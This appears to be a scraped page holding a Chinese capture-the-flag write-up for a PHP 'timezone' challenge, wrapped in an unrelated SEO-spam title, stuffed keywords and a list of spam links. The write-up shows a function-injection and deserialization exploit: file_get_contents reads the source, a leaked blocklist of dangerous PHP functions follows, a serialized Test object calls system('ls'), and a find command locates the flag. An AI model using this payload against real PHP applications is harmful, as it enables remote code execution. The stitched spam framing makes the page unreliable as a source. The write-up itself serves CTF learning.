当前位置: 首页 > news >正文

郑中设计事务所东莞seo整站优化

郑中设计事务所,东莞seo整站优化,漳州seo顾问,深圳做网站优化的公司1.打开网站,吓我一跳 2.查看源代码,主要看到timezone,然后这个页面是五秒就会刷新一次 一开始去搜了这个,但是没什么用 3.使用bp抓包 会发现有两个参数,应该是用func来执行p 4.修改func和p file_get_contents&#…

1.打开网站,吓我一跳

2.查看源代码,主要看到timezone,然后这个页面是五秒就会刷新一次

一开始去搜了这个,但是没什么用

3.使用bp抓包

会发现有两个参数,应该是用func来执行p

 4.修改func和p

file_get_contents: 把整个文件读入一个字符串中。该函数是用于把文件的内容读入到一个字符串中的首选方法。

读取index.php

5.使用post传参,查看页面源代码

审计

<?php$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");    //定义disable_fun这个数组,禁用了这些函数function gettime($func, $p) {$result = call_user_func($func, $p);$a= gettype($result);if ($a == "string") {return $result;} else {return "";}}   //定义了一个名为gettime的函数,它接受一个函数名func和参数p,并通过call_user_func函数来调用指定的函数。a 获取变量的类型,如果a是字符串,则将其返回,否则返回空字符串。
//gettype() 函数用于获取变量的类型class Test {var $p = "Y-m-d h:i:s a";var $func = "date";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);} //定义了一个名为Test的类,其中包含了一个变量$p表示日期格式,以及一个变量$func表示要执行的函数名。在类的析构函数__destruct中,首先检查$func是否为空。如果不为空,则调用gettime函数来执行指定的函数,并将结果输出。
//__destruct() 魔术方法 对象被销毁时触发}}$func = $_REQUEST["func"];$p = $_REQUEST["p"];  //从$_REQUEST超全局变量中获取传入的函数名和参数if ($func != null) {$func = strtolower($func);  //如果传入的函数名不为空,则将其转换为小写if (!in_array($func,$disable_fun)) {echo gettime($func, $p);}else {die("Hacker...");}  //检查其是否在$disable_fun数组中。如果函数名不在禁用列表中,则调用gettime函数来执行指定的函数,并将结果输出。否则,代码将输出"Hacker..."并终止程序。}?>

https://www.cnblogs.com/fps2tao/p/7865423.html    call_user_func函数详解

6.使用反序列化

先看一下有什么文件

<?php
class Test
{var $p = "ls";var $func = "system";
}
$a = new Test();
echo serialize($a);
?>

查看源代码,没有看到什么

查找含有flag的文件

find / -name flag*

 

 cat 这个文件

 

http://www.tj-hxxt.cn/news/101234.html

相关文章:

  • 网站建设总费用郑州seo排名优化
  • 北京所有做招聘类网站建站公司seo免费视频教程
  • 党政建设网站写软文一篇多少钱合适
  • 哪个网站是做韩国化妆品正品搜索引擎查重
  • 广告设计制作公司经营范围seo基础理论
  • 企业网站建设技术重庆快速网络推广
  • 做网站流程图市场调研公司排名
  • 做高端网站公司怎么才能创建一个网站
  • 呼和浩特做网站哪家好seo排名培训
  • wordpress 插入或编辑链接网站建设优化
  • 做网站年赚千万成年培训班有哪些
  • pinterest官网入口微信seo是什么意思
  • 长沙人才网最新招聘seo三人行论坛
  • 百度云盘做网站空间百度关键词搜索工具
  • 国内外网站建设青岛网站建设技术外包
  • 做视频添加字幕的网站大一html网页制作
  • 班级手机网站墨刀怎样做百度竞价渠道代理商
  • 建设部网站规范下载seo 培训教程
  • 视觉设计作品优化科技
  • 周易起名网唯一官网免费济南网站优化排名
  • 用vs做网站湖南今日新闻最新头条
  • 网站建设的成本有哪些方面互联网网站
  • 网站建设费用估计武汉最新消息今天
  • 服务型政府 网站建设优化策略济南网络推广公司
  • wordpress小程序直播网站seo优化课程
  • 前端做用vue做后台多还是做网站多百度网盘资源免费搜索引擎入口
  • 蓝色脚手架织梦企业网站模板搜索引擎优化宝典
  • 1 分析seo做的不好的网站打开百度一下
  • 网站上的流动图片怎么做的怎么把产品推广到各大平台
  • 网站建站专家网站流量统计查询